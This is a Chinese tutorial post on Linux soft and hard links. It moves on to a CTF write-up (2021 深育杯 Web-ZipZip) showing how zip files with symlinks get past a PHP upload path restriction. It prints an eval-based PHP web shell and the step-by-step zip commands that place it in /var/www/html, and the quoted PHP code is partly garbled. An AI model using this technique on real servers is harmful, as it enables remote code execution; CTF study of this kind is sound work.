代码语言:javascript复制
软连接是linux中一个常用命令,
它的功能是为某一个文件在另外一个位置建立一个同步的链接。
软连接类似与c语言中的指针,传递的是文件的地址;
更形象一些,软连接类似于WINDOWS系统中的快捷方式。
例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。
通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。
软链接创建方式:
ln -s [target] [link_name]
和软链接相对应的有硬链接,和软链接相比,硬链接不仅仅是一个指向目标文件(文件夹)的快捷方式,里面同时还有具体的文件内容,相当于将文件复制了一份.但是和简单的复制文件不同的是,源文件和硬链接会同步变化,如下示例:
代码语言:javascript复制root@VM-0-7-ubuntu:~/h0cksr1# ls ../h0cksr2
root@VM-0-7-ubuntu:~/h0cksr1# touch ../h0cksr2/h0cksr.txt
root@VM-0-7-ubuntu:~/h0cksr1# echo this_is_a_test > ../h0cksr2/h0cksr.txt
root@VM-0-7-ubuntu:~/h0cksr1# cat ../h0cksr2/h0cksr.txt
this_is_a_test
root@VM-0-7-ubuntu:~/h0cksr1# ln -s ../h0cksr2/h0cksr.txt link1
root@VM-0-7-ubuntu:~/h0cksr1# ln ../h0cksr2/h0cksr.txt link2
root@VM-0-7-ubuntu:~/h0cksr1# ls -al
total 12
drwxr-xr-x 2 root root 4096 Nov 16 13:06 .
drwx------ 12 root root 4096 Nov 16 13:03 ..
lrwxrwxrwx 1 root root 21 Nov 16 13:06 link1 -> ../h0cksr2/h0cksr.txt
-rw-r--r-- 2 root root 15 Nov 16 13:05 link2
root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2
link1: symbolic link to ../h0cksr2/h0cksr.txt
link2: ASCII text
root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2
this_is_a_test
this_is_a_test
root@VM-0-7-ubuntu:~/h0cksr1# echo This_is_a_new_test_look_what_will_change > link2
root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2
This_is_a_new_test_look_what_will_change
This_is_a_new_test_look_what_will_change
root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2
link1: symbolic link to ../h0cksr2/h0cksr.txt
link2: ASCII text
root@VM-0-7-ubuntu:~/h0cksr1# ls -al
total 12
drwxr-xr-x 2 root root 4096 Nov 16 13:06 .
drwx------ 12 root root 4096 Nov 16 13:03 ..
lrwxrwxrwx 1 root root 21 Nov 16 13:06 link1 -> ../h0cksr2/h0cksr.txt
-rw-r--r-- 2 root root 41 Nov 16 13:10 link2
root@VM-0-7-ubuntu:~/h0cksr1# ln /root can_not_link_to_dir
ln: /root: hard link not allowed for directory
root@VM-0-7-ubuntu:~/h0cksr1#
利用软链接目录穿越:
代码语言:javascript复制root@VM-0-7-ubuntu:~# cd /tmp
root@VM-0-7-ubuntu:/tmp# mkdir /root/h0cksr
root@VM-0-7-ubuntu:/tmp# ln -s /root/h0cksr/ link
root@VM-0-7-ubuntu:/tmp# ls -l
lrwxrwxrwx 1 root root 13 Nov 16 13:17 link -> /root/h0cksr/
root@VM-0-7-ubuntu:/tmp# touch shell.php
root@VM-0-7-ubuntu:/tmp# echo '<?php phpinfo();eval(_POST[0]);?>'>shell.php
root@VM-0-7-ubuntu:/tmp# cat shell.php
<?php phpinfo();eval(_POST[0]);?>
root@VM-0-7-ubuntu:/tmp# mv shell.php link/shell.php
root@VM-0-7-ubuntu:/tmp# ls link
shell.php
root@VM-0-7-ubuntu:/tmp# ls /root/h0cksr
shell.php
root@VM-0-7-ubuntu:/tmp# cat /root/h0cksr/shell.php
<?php phpinfo();eval($_POST[0]);?>
root@VM-0-7-ubuntu:/tmp#
可以看到,文件shell.php上传到软链接后,在软链接对应的的源文件夹里面发现确实有一个shell.php,突破了只能在tmp文件夹上传文件的限制 题目参考:2021深育杯Web-ZipZip 利用场景: 文件上传路径受到限制
代码语言:javascript复制upload.php
<php?
function unzip_file(string zipName,stringdest){
//检测要解压压缩包是否存在
if(!is_file(zipName)){
return false;
}
//检测目标路径是否存在
if(!is_dir(dest)){
mkdir(dest,0777,true);
}zip=new ZipArchive();
if(zip->open(zipName))
zip->extractTo(dest);
zip->close();
return true;
}else{
return false;
}
}zip_file=_FILE['file']['tmp_name'];dest='/tmp';
if(strstr(zip_file,'.')=='.zip'){
unzip_file(zip_file,$dest);
}
else{
die('Just Zip');
}
?>
可以通过以下步骤构造zip文件上传
代码语言:javascript复制ln -s /var/www/html/ h0cksr #创建指向html的软链接
zip --symlinks h0cr1.zip h0cksr #将软链接h0cksr打包到h0cksr1.zip中上传
touch shell.php
echo '<?php eval($_POST[0]); ?>' > shell.php
mkdir h0cksr #创建一个和软链接同名的文件夹
mv shell.php h0cksr/shell.php #将shell.php文件上传到和软链接同名的文件夹中
zip -r h0cksr2.zip h0cksr #将h0cksrwe文件夹打包到h0cksr2.zip压缩包中上传
按以上步骤执行后shell.php文件将会上传在/var/www/html目录中
代码语言:javascript复制第一个压缩包h0cksr1.zip上传了一个名为h0cksr的指向/var/www/html的软链接
第二个压缩包h0cksr2.zip上传了一个名为h0cksr的文件夹,文件夹里面有一个shell.php文件
上传h0cksr文件夹后,shell.php所在位置为:/tmp/h0cksr/shell.php
因为/tmp/h0cksr是指向/var/www/html的软链,所以shell.php文件就上传到了/var/www/html目录下